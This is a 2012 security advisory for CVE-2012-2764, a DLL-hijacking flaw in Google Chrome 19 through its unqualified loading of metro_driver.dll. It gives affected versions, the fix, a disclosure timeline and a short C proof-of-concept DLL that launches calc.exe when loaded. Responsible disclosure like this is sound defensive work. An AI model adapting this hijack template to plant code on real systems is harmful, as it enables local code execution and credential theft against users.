Google Chrome 19 metro_driver.dll Mishandling

`Security Advisory - Google Chrome 19 metro_driver.dll mishandling  
========================================================================  
Summary : Google Chrome 19 is prone to unqualified DLL loading  
Date : 28 June 2012  
Affected versions : Google Chrome v19.0.1084.21 up-to v20.0.1132.23  
ID : chromium#130276  
CVE reference : CVE-2012-2764  
  
Details  
================  
Google Chrome developers, while trying to be adaptive and current, added some  
windows 8 helper functions to aid the development of Metro style behaviour,  
but does not include the library file itself, thus resulting in an unqualified  
dynamic-link library call to 'metro_driver.dll'.  
  
A user with local disk access can carefuly construct a DLL that suits the  
pattern that is being traversed by the client and implement it somewhere along  
the search path and the client will load it seamlessly.  
  
Impact  
================  
After the DLL has been implemented, an unsuspected user that will run Chrome  
will cause it to load, resulting in arbitrary code execution under user's  
privilege level.  
  
This vector of attack is mainly used in a local privilege escalation scenarios,  
user credential harvesting and can be used by malware to disguise itself,  
amongst other uses.  
  
Proof of Concept  
================  
  
#include <windows.h>   
  
int hijack_poc ()   
{   
WinExec ( "calc.exe" , SW_NORMAL );  
return 0 ;   
}   
  
BOOL WINAPI DllMain   
( HINSTANCE hinstDLL ,   
DWORD dwReason ,  
LPVOID lpvReserved )   
{   
hijack_poc () ;  
return 0 ;  
}   
  
Solution  
================  
Google Chrome 20.0.1132.43 resolves the issue.  
  
Credits  
================  
The issue was responsibly reported by Moshe Zioni from Comsec Global Consulting.  
  
Timeline  
=================  
26 June 2012  
Google officialy announce Google Chrome 20 stable, fix included  
1 June 2012  
Code reverted - Revision 139975 takes place  
30 May 2012  
First response from a Google code maintainer  
30 May 2012  
Bug reported by Moshe Zioni from Comsec Global Consulting  
  
References  
=================  
Google Chrome  
http://www.google.com/chrome  
Revision details  
http://src.chromium.org/viewvc/chrome?view=rev&revision=139975  
  
Comsec Global Consulting  
http://www.comsecglobal.com/  
`